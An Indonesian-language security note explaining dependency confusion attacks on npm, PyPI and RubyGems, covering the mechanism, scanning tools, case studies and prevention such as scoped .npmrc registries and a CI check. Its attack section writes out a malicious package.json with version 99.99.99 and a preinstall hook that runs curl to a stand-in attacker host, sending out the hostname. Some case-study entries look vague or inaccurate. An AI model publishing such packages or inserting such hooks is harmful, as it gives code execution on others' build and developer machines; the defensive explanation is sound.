Ringkasan

Dependency Confusion (juga disebut Supply Chain Takeover) adalah serangan di mana attacker mempublikasikan package ke public registry (npm, PyPI, RubyGems) dengan nama yang sama dengan package internal perusahaan. Karena package manager mencari public registry ketika package tidak ditemukan di registry private, package jahat bisa terinstall. Dampak: RCE di server CI/CD, developer machine, atau production.

Cross-link: software-supply-chain-security-deepdivedependency-confusion-supply-chain-attacks-praktikdevsecops-pipeline-sast-dast-sbom


Daftar Isi


1. Mekanisme Dependency Confusion

Flow

1. Developer punya package internal: @company/auth-internal
2. Package ini TIDAK dipublish ke npm public — cuma di registry private
3. Attacker publish package dengan nama SAMA ke npm public: @company/auth-internal
4. CI/CD install dependencies → npm cek registry private → not found → fallback ke npm public → package JAHAT terinstall
5. Package jahat punya preinstall/postinstall script → RCE

Resolusi Priority

Package ManagerPriority
npmPrivate registry → Public npm
pipPyPI → Custom index → PyPI fallback
gemPrivate gem server → RubyGems
mavenInternal repo → Maven Central
NuGetPrivate feed → NuGet.org

2. Attack Vectors per Package Manager

npm

# Step 1: Cari nama package internal
# Cek package.json, cari package yang tidak ada di npm public
cat package.json | grep "@company/"
 
# Step 2: Publish package jahat
npm init -y  # nama = @company/auth-internal
# Tambah preinstall script di package.json
echo "console.log('RCE!'); require('child_process').execSync('id')" > preinstall.js
npm publish
 
# Step 3: Tunggu CI/CD developer install → RCE

Payload preinstall:

{
  "name": "@company/auth-internal",
  "version": "99.99.99",
  "scripts": {
    "preinstall": "node -e 'require(\"child_process\").execSync(\"curl http://attacker:8080/$(hostname)\")'"
  }
}

PyPI

# Step 1: Cari package internal dari requirements.txt
# Step 2: Upload ke PyPI
python setup.py sdist upload -r pypi
 
# Or use twine
twine upload dist/*

RubyGems

gem push malicious-package-0.0.1.gem

3. Automated Exploitation Tools

Confused (npm/pip)

# Tool: https://github.com/visma-prodsec/confused
confused --project-url https://github.com/company/internal-project.git
# → scan dependencies, cek mana yang vulnerable

Dependency Confusion Scanner

# Tool: dependency-confusion-scanner
python scanner.py --package-name @company/internal-pkg

4. Case Studies

YearTargetPackage ManagerImpact
2021Microsoft (iOS)CocoaPodsCode execution via Podfile confusion
2022NPM ecosystemnpmRatusan package internal terdeteksi vulnerable
2023PyPIpipTyposquatting packages
2024VariousnpmTool automasi scan + exploit massal

5. Detection & Prevention

Detection

# Scan project dependencies
# Cek apakah ada package dengan nama yang ada di public registry
npm view @company/auth-internal  # Jika ada → VULNERABLE
 
# Automated scan via Confused
confused --project-dir .

Prevention

StrategyImplementasiEfektivitas
Scoped packagesnpm: @company/* di private registryTinggi
Registry locknpm config set registry https://private-registryTinggi
Package lockLockfile (package-lock.json, yarn.lock)Sedang
CI/CD verificationValidasi asal package sebelum installSangat tinggi
SCOPE isolation@company/* harus dari private, * dari publicSangat tinggi
WAF/IDSDeteksi download dari public registryRendah

npm Registry Lock

# .npmrc — pastikan package internal hanya dari private registry
@company:registry=https://npm.company.com/
# Package lain dari public
registry=https://registry.npmjs.org/

CI/CD Verification

# GitHub Action: cek dependency confusion sebelum install
- name: Check Dependency Confusion
  run: |
    npm view @company/auth-internal 2>/dev/null && echo "⚠️ VULNERABLE" && exit 1 || echo "✅ Safe"

6. Referensi

  • PayloadsAllTheThings: /mnt/data_d/Projects/Reference/PayloadsAllTheThings/Dependency Confusion/
  • OWASP: Dependency Confusion Attack

Cross-link vault: